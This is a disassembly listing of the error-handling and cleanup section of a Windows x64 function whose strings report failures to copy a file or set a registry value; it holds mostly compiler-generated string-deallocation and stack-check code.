mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000d0c7
lea rdx, str.Failed_to_copy_file._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140008110
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400084d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x14000c893
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d106
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d1ab
call fcn.140011690
jmp 0x14000c893
lea rdx, str.Failed_to_set_registry_value__error:
jmp 0x14000d120
lea rdx, str.Failed_to_open_registry_key__error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140008110
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400084d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.Unable_to_set_value_in_the_registry._Make_sure_you_have_administrator_privileges.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140008110
lea rdx, [0x1400084d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x14000d1b7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d1b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d1b2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011690
movdqa xmm0, xmmword [0x140015700]
movdqu xmmword [rbp], xmm0
mov word [rbp - 0x10], di
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x14000d20b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d206
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d206
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011690
movdqa xmm0, xmmword [0x140015700]
movdqu xmmword [rbp + 0x20], xmm0
mov word [rbp + 0x10], di
mov rdx, qword [rbp + 0x48]
cmp rdx, 7
jbe 0x14000d25f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d25a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d25a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011690
movdqa xmm0, xmmword [0x140015700]
movdqu xmmword [rbp + 0x40], xmm0
mov word [rbp + 0x30], di
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x14000d2b3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d2ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d2ae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011690
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], di
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x14000d306
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d301
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d301
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011690
movdqa xmm0, xmmword [0x140015700]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x30], di
mov rdx, qword [rbp + 0x88]
cmp rdx, 7
jbe 0x14000d35e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d358
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d358
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011690
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x14000d3a1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d39c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d39c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011690
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], di
mov rdx, qword [rbp + 0x68]
cmp rdx, 7
jbe 0x14000c679
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c673
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c673
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdx, qword [rbp - 0x50]
mov r10, qword [rbp - 0x70]
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rcx, qword [rbp - 0x80]
lea r8, [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova r8, qword [rbp - 0x60]
cmp rdx, r10
jne 0x14000c893
test rdx, rdx
je 0x14000d689
sub r8, rcx
nop dword [rax]
nop dword [rax + rax]
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x14000c893
add rcx, 2
sub rdx, 1
je 0x14000d689
jmp 0x14000d440
call fcn.140011690
movdqa xmm0, xmmword [0x140015700]
movdqu xmmword [rbp + 0x20], xmm0
mov word [rbp + 0x10], di
mov rdx, qword [rbp + 0x48]
cmp rdx, 7
jbe 0x14000d4b7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d4b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d4b2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011690
movdqa xmm0, xmmword [0x140015700]
movdqu xmmword [rbp + 0x40], xmm0
mov word [rbp + 0x30], di
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x14000d50b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d506
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d506
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011690
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], di
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x14000d55e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d559
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d559
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011690
movdqa xmm0, xmmword [0x140015700]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x30], di
mov rdx, qword [rbp + 0x88]
cmp rdx, 7
jbe 0x14000d5b6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d5b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d5b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011690
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x14000d5f9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d5f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d5f4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011690
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], di
mov rdx, qword [rbp + 0x68]
cmp rdx, 7
jbe 0x14000d64d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d647
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d647
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011690
nop
lea rcx, [rbp + 0x90]
call fcn.140007e10
xor eax, eax
mov rcx, qword [rbp + 0x560]
xor rcx, rsp
call fcn.140011080
lea r11, [rsp + 0x690]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop rbp
ret
call fcn.14000a550
nop
int3